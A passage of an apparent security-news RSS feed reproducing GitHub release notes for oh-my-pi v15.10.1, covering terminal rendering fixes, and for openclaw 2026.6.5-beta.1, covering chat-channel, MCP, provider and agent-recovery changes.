<li>Added the <code>submitPinsViewportToTail</code> terminal capability and <code>detectSubmitPinsViewportToTail()</code>: genuine local terminals where a submit keystroke scrolls the host to its tail reconcile deferred native scrollback at the prompt-submit checkpoint even when the viewport position is unprobeable (Ghostty/kitty/iTerm/WezTerm/Alacritty). Restores the pre-regression submit reconciliation without re-enabling it for Windows Terminal/ConPTY, SSH, or multiplexers, where a submit is not proof the host is at the tail.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed static <code>Loader</code> messages to repaint only at the spinner's 80 ms cadence; time-dependent message colorizers can opt into 16 ms redraws with <code>animated: true</code>.</li>
<li>Changed keybinding matching to precompute canonical key sets so each input sequence is parsed once per binding check instead of once per candidate key.</li>
<li>Made <code>Component.invalidate()</code> optional so leaf components without render caches no longer need no-op invalidation hooks.</li>
<li><code>TERMINAL</code> is now a <code>RuntimeTerminal</code> whose post-construction capabilities (image protocol and the probe-driven flags) are writable, replacing the <code>as unknown as MutableTerminalInfo</code> cast pattern and the positional <code>withTerminalOverrides</code> rebuild with a prototype-preserving <code>clone()</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed <code>Loader</code> text updates to skip identical messages and preserve the rendered <code>Text</code> cache instead of invalidating it every timer tick.</p>
</li>
<li>
<p>Fixed fullscreen overlay alt-frame rendering to reuse the current line-preparation path instead of calling removed fitting helpers.</p>
</li>
<li>
<p>Reduced TUI render-path line fitting by deferring overlay base-frame fitting until an overlay rebuild and by reusing already-fitted lines in emitters.</p>
</li>
<li>
<p>Reduced live-region pinned repaint output by diffing unchanged viewport rows when no sealed rows are being committed to native scrollback.</p>
</li>
<li>
<p>Fixed no-append live-region pinned repaints to re-anchor the hardware cursor when the logical viewport shifts.</p>
</li>
<li>
<p>Fixed keybinding matching so printable uppercase input preserves <code>Shift</code> for bindings such as <code>shift+a</code>.</p>
</li>
<li>
<p>Optimized terminal image-line detection and Thai/Lao AM normalization checks to avoid hot-path regex scans and substring allocations.</p>
</li>
<li>
<p>Fixed <code>Markdown.render()</code> cache hits returning the cache's mutable backing array, which let callers that append extra rows corrupt cached Markdown and duplicate those rows on every redraw.</p>
</li>
<li>
<p>Fixed first-paint full replays for callers that intentionally replace terminal history by allowing <code>TUI.start({ clearScrollback: true })</code>, so they do not briefly append an entire initial frame before the first clean replay.</p>
</li>
<li>
<p>Fixed ED3-risk streaming cap accounting to preserve the native scrollback high-water mark for rows that were already physically committed before transient frames were viewport-capped.</p>
</li>
<li>
<p>Fixed terminal stop and restore cleanup to disable enhanced paste mode so it does not remain enabled after shutdown</p>
</li>
<li>
<p>Removed the per-frame line-fit <code>Map</code> cache from the render timer path to avoid forcing JSC rope-string hashing during scheduled viewport repaints.</p>
</li>
<li>
<p>Fixed <code>visibleWidth()</code> so terminal column measurements for ANSI and OSC text now match the native truncation/wrapping helpers, including OSC 66 text-sizing spans being counted at their scaled payload width</p>
</li>
<li>
<p>Fixed cursor, padding, and line-fit behavior when strings contain tabs or OSC escapes by aligning <code>visibleWidth()</code> with the native text-width model</p>
</li>
<li>
<p>Fixed the transcript — or a re-appearing prior view such as the welcome screen — duplicating itself on terminals without a scroll-position oracle (Ghostty/kitty/iTerm/WezTerm) when a foreground tool completes by rewriting a partly-committed block, or when the transcript is reset. A non-destructive viewport repaint no longer re-paints rows that are byte-identical to what is already committed to native scrollback into the active grid; the repaint anchor is clamped to the committed-and-unchanged prefix (<code>min(firstChanged, scrollbackHighWater)</code>).</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): route llama.cpp parallel tool calls by <code>item.call_id</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605305722" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2016" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2016/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2016">#2016</a></li>
<li>fix(debug): accept directory programs for dlv and auto-select dlv mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605979296" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2021" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2021/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2021">#2021</a></li>
<li>fix(ai): coerce singleton array arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4606419503" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2027" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2027/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2027">#2027</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.10.0...v15.10.1"><tt>v15.10.0...v15.10.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.5-beta.1]]></title>
<description><![CDATA[2026.6.5
Highlights

QQBot now strips model reasoning/thinking scaffolding before native delivery, preventing raw  content from leaking into channel replies. (#89913, #90132) Thanks @openperf.
MCP tool results now coerce resource_link, resource, audio, malformed image, and future non-text/image b...]]></description>
<link>https://tsecurity.de/de/3577024/downloads/openclaw-202665-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577024/downloads/openclaw-202665-beta1/</guid>
<pubDate>Sat, 06 Jun 2026 05:45:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.5</h2>
<h3>Highlights</h3>
<ul>
<li>QQBot now strips model reasoning/thinking scaffolding before native delivery, preventing raw <code>&lt;thinking&gt;</code> content from leaking into channel replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581452018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89913" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/89913/hovercard" href="https://github.com/openclaw/openclaw/issues/89913">#89913</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585352170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90132" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90132/hovercard" href="https://github.com/openclaw/openclaw/pull/90132">#90132</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>MCP tool results now coerce <code>resource_link</code>, <code>resource</code>, <code>audio</code>, malformed image, and future non-text/image blocks at the materialize boundary, preventing Anthropic 400s and poisoned session history after a tool returns richer MCP content. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598337972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90710/hovercard" href="https://github.com/openclaw/openclaw/issues/90710">#90710</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598979348" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90728" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90728/hovercard" href="https://github.com/openclaw/openclaw/pull/90728">#90728</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RanSHammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RanSHammer">@RanSHammer</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>.</li>
<li>Anthropic extended-thinking sessions recover after prompt-cache expiry or Gateway restart because stream start events wait for <code>message_start</code>, letting pre-generation signature errors trigger the existing recovery retry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597008686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90667" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90667/hovercard" href="https://github.com/openclaw/openclaw/issues/90667">#90667</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597864290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90697/hovercard" href="https://github.com/openclaw/openclaw/pull/90697">#90697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Parallel is now a bundled <code>web_search</code> provider with <code>PARALLEL_API_KEY</code> discovery, guarded endpoint handling, cache-safe session ids, onboarding picker support, and docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499061268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85158" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85158/hovercard" href="https://github.com/openclaw/openclaw/pull/85158">#85158</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>.</li>
<li>Google Vertex ADC users get static catalog rows and runtime model resolution again, while single-provider cooldown recovery and memory adapter status checks are more reliable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593501362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90506/hovercard" href="https://github.com/openclaw/openclaw/issues/90506">#90506</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595778958" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90609" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90609/hovercard" href="https://github.com/openclaw/openclaw/pull/90609">#90609</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598556266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90717" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90717/hovercard" href="https://github.com/openclaw/openclaw/pull/90717">#90717</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601504868" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90816/hovercard" href="https://github.com/openclaw/openclaw/pull/90816">#90816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>.</li>
<li>Matrix can preflight voice notes before mention gating, preserve thread reads/replies through Matrix relations pagination, and carry QA coverage for voice and thread flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386401692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78016/hovercard" href="https://github.com/openclaw/openclaw/issues/78016">#78016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590528286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90415/hovercard" href="https://github.com/openclaw/openclaw/pull/90415">#90415</a>)</li>
<li>Auth and plugin install state is more durable: auth profiles now live in SQLite, official npm plugin install records keep their trusted pins, and prerelease fallback integrity checks avoid carrying stale integrity forward. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563692914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89102" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89102/hovercard" href="https://github.com/openclaw/openclaw/pull/89102">#89102</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557216437" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88585/hovercard" href="https://github.com/openclaw/openclaw/pull/88585">#88585</a>)</li>
<li>macOS node mode no longer silently self-reconnects away from a healthy direct Gateway session, reducing unexpected companion app session churn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597028909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90668/hovercard" href="https://github.com/openclaw/openclaw/issues/90668">#90668</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601504472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90815/hovercard" href="https://github.com/openclaw/openclaw/pull/90815">#90815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vrurg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vrurg">@vrurg</a>.</li>
<li>Upgrade and service paths are safer: cron legacy JSON stores migrate during doctor preflight, service env placeholders no longer mask state-dir secrets, WhatsApp startup waits are bounded, and disabled WhatsApp accounts tear down on config reload. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584676639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90072/hovercard" href="https://github.com/openclaw/openclaw/issues/90072">#90072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586573551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90208/hovercard" href="https://github.com/openclaw/openclaw/pull/90208">#90208</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587567256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90277" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90277/hovercard" href="https://github.com/openclaw/openclaw/issues/90277">#90277</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593084411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90488/hovercard" href="https://github.com/openclaw/openclaw/pull/90488">#90488</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593042798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90486/hovercard" href="https://github.com/openclaw/openclaw/pull/90486">#90486</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546873220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87951" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/87951/hovercard" href="https://github.com/openclaw/openclaw/issues/87951">#87951</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4547085362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87965" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87965/hovercard" href="https://github.com/openclaw/openclaw/pull/87965">#87965</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MukundaKatta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MukundaKatta">@MukundaKatta</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Search/providers: add the Parallel bundled web-search plugin, live provider tests, registration contracts, onboarding/docs wiring, and guarded <code>api.parallel.ai/v1/search</code> support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499061268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85158" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85158/hovercard" href="https://github.com/openclaw/openclaw/pull/85158">#85158</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>.</li>
<li>Matrix/channels: add voice-message preflight and thread-aware read/reply behavior, including Matrix QA scenario wiring and docs for voice-message behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386401692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78016/hovercard" href="https://github.com/openclaw/openclaw/issues/78016">#78016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590528286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90415/hovercard" href="https://github.com/openclaw/openclaw/pull/90415">#90415</a>)</li>
<li>Skills/ClawHub: install ClawHub skills backed by GitHub repositories through the resolved install API, download the pinned GitHub commit, keep install-policy checks, and report install telemetry after success. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4592828935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90478" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90478/hovercard" href="https://github.com/openclaw/openclaw/pull/90478">#90478</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>Google Chat/channels: add native approval card actions and click handling so Google Chat approvals use platform-native cards instead of generic message flow.</li>
<li>Mobile: Android provider/model screens now surface expiring, unavailable, unresolved, and attention states more clearly, while iOS settings and Talk tabs keep diagnostics, gateway rows, attachment labels, and unavailable Talk controls reachable.</li>
<li>Memory: QMD search can use the new rerank toggle, and memory adapter status uses the resolved default model identity when checking plain status. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211290127" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61834" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61834/hovercard" href="https://github.com/openclaw/openclaw/issues/61834">#61834</a>)</li>
<li>Docs/tooling: add Parallel search docs, refresh weather-skill guidance toward <code>web_fetch</code>, clarify legacy <code>openai-codex</code> auth, document release/test helper scripts, and tighten changed-test routing docs for CI/debugging work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583879907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90028" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90028/hovercard" href="https://github.com/openclaw/openclaw/pull/90028">#90028</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587153278" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90250/hovercard" href="https://github.com/openclaw/openclaw/pull/90250">#90250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Platform maintenance: refresh Android, Swift/macOS, Docker, CodeQL, Buildx, Docker build/push, and Codex Action dependencies for this release train. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356645943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74980/hovercard" href="https://github.com/openclaw/openclaw/pull/74980">#74980</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444486468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81757" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81757/hovercard" href="https://github.com/openclaw/openclaw/pull/81757">#81757</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516966734" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86481" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86481/hovercard" href="https://github.com/openclaw/openclaw/pull/86481">#86481</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516981471" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86483/hovercard" href="https://github.com/openclaw/openclaw/pull/86483">#86483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595564011" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90601/hovercard" href="https://github.com/openclaw/openclaw/pull/90601">#90601</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Channel content boundaries: QQBot now strips reasoning/thinking tags before sending, preserving final answers while hiding internal model narration from users. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581452018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89913" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/89913/hovercard" href="https://github.com/openclaw/openclaw/issues/89913">#89913</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585352170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90132" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90132/hovercard" href="https://github.com/openclaw/openclaw/pull/90132">#90132</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Agents/MCP/providers: coerce non-text/image MCP tool-result blocks before they reach provider converters, preserving valid images and turning richer MCP content into text instead of malformed image blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598337972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90710/hovercard" href="https://github.com/openclaw/openclaw/issues/90710">#90710</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598979348" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90728" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90728/hovercard" href="https://github.com/openclaw/openclaw/pull/90728">#90728</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RanSHammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RanSHammer">@RanSHammer</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>.</li>
<li>Anthropic/Codex/ACP/agent recovery: defer Anthropic stream start events until <code>message_start</code>, strip stale compaction thinking signatures before Anthropic replay, detect unsigned thinking-only stalls, refresh prompt fences after compaction writes, reject empty completion handoffs, preserve parent streaming-off overrides/shared progress commentary, forward heartbeat metadata to context-engine hooks, and cover Codex session/thread migration edge cases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597008686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90667" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90667/hovercard" href="https://github.com/openclaw/openclaw/issues/90667">#90667</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597864290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90697/hovercard" href="https://github.com/openclaw/openclaw/pull/90697">#90697</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585838595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90163/hovercard" href="https://github.com/openclaw/openclaw/pull/90163">#90163</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585093836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90108/hovercard" href="https://github.com/openclaw/openclaw/issues/90108">#90108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580874832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89874" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89874/hovercard" href="https://github.com/openclaw/openclaw/pull/89874">#89874</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572643299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89505/hovercard" href="https://github.com/openclaw/openclaw/pull/89505">#89505</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596247650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90632" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90632/hovercard" href="https://github.com/openclaw/openclaw/pull/90632">#90632</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568077511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/89302/hovercard" href="https://github.com/openclaw/openclaw/issues/89302">#89302</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4599002579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90729" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90729/hovercard" href="https://github.com/openclaw/openclaw/issues/90729">#90729</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588557706" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90317/hovercard" href="https://github.com/openclaw/openclaw/pull/90317">#90317</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588574019" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90319/hovercard" href="https://github.com/openclaw/openclaw/pull/90319">#90319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ooiuuii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ooiuuii">@ooiuuii</a>.</li>
<li>Provider/model resolution: preserve Google Vertex ADC auth markers in generated catalogs, re-probe a single-provider primary after cooldown, share Codex model visibility, fail closed for unknown model auth, preserve Codex alias availability, keep unresolved profile refs unknown, and avoid resolving auth while listing models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593501362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90506/hovercard" href="https://github.com/openclaw/openclaw/issues/90506">#90506</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595778958" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90609" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90609/hovercard" href="https://github.com/openclaw/openclaw/pull/90609">#90609</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598556266" 